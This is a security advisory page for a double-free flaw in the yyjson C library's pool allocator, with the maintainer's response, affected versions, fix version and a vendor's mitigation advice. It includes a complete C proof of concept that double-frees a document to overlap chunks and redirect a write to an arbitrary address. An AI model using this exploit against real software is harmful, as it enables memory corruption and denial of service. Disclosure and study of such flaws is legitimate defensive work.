EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/ibireme/yyjsonReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects SwiftURL packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The pool series allocator (pool_malloc/pool_free/pool_realloc) by yysjon has a Double Free vulnerability, which may lead to arbitrary address writing and Denial of Service (DoS) attacks. Arbitrary address writing, combined with other legitimate or illegitimate operations of programs using this library, can lead to remote code execution.
Details
The core cause of this vulnerability lies in the pool_free function's lack of loop checks, while the direct cause stems from the pool_free function and similar free-series functions not performing pointer destruction, resulting in Use-After-Free (UAF) vulnerabilities.
PoC
Below, a C language program using yyjson 0.8.0 is written to show how to exploit a Double Free vulnerability to cause chunk overlaps, which then allows the modification of a chunk's next pointer to point to an arbitrary address. If the targeted address is valid, modifications can be made. However, if the address is invalid, it could lead to the program crashing, which could be exploited for a Denial of Service (DoS) attack. Additionally, constructing a cyclic chain of chunks could force the service into an infinite loop, also exploitable for a DoS attack.
#include <stdio.h>
#include "yyjson.h"
char test[0x110];
int64_t a=0xffffffff;
int64_t b= (int64_t) test;
int main() {
size_t max_json_size = 64 * 1024;
size_t buf_size = yyjson_read_max_memory_usage(max_json_size, 0);
void *buf = malloc(buf_size);
yyjson_alc alc;
yyjson_alc_pool_init(&alc, buf, buf_size);
yyjson_mut_doc *p1 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc *p2 = yyjson_mut_doc_new(&alc);
yyjson_mut_arr(p2);
yyjson_mut_doc *p3 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc_free(p2);
yyjson_mut_doc_free(p2); // double free
yyjson_mut_doc_free(p1);
yyjson_read_flag flg = YYJSON_READ_ALLOW_COMMENTS | YYJSON_READ_ALLOW_INF_AND_NAN;
for(int i=0;i<0x100;i++)test[i]= 'a';
test[0x100]='\00';
char *payload_f = "[%lld,43981]";
char payload[100];
sprintf(payload,payload_f,&a);
yyjson_mut_doc *p4 = yyjson_read_opts(payload,strlen(payload),flg,&alc,NULL);
yyjson_mut_doc *p5 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc *p6 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc *p7 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc *p8 = yyjson_mut_doc_new(&alc);
for(int z=1;z<=100;z++)
yyjson_mut_int(p8,0x63636363);
printf("%s",test);
free(buf);
return 0;
}
Impact
What kind of vulnerability is it? Who is impacted?
Note from yyjson
yyjson_mut_doc_free() is well-documented: https://github.com/ibireme/yyjson/blob/0.8.0/src/yyjson.h#L2090-L2093
/** Release the JSON document and free the memory.
After calling this function, the `doc` and all values from the `doc` are no
longer available. This function will do nothing if the `doc` is NULL. */
void yyjson_mut_doc_free(yyjson_doc *doc);
If you have already called yyjson_mut_doc_free() on a doc, the doc and its internal values are invalid. Any further operation on the doc or its values is undefined behavior.
While this is not a bug in yyjson itself, a defensive patch has been provided: 0eca326 If you mistakenly call yyjson_mut_doc_free() twice on the same doc against the documentation, this patch will cause your program to crash immediately, alerting you to the incorrect usage.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦SwiftURL | github.com/ibireme/yyjson | all versions | 0.9.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/ibireme/yyjson. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/ibireme/yyjson to 0.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-whx6-m9j4-w2m2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-whx6-m9j4-w2m2 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-whx6-m9j4-w2m2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-whx6-m9j4-w2m2 in your dependencies?
O3 detects GHSA-whx6-m9j4-w2m2 across SwiftURL dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.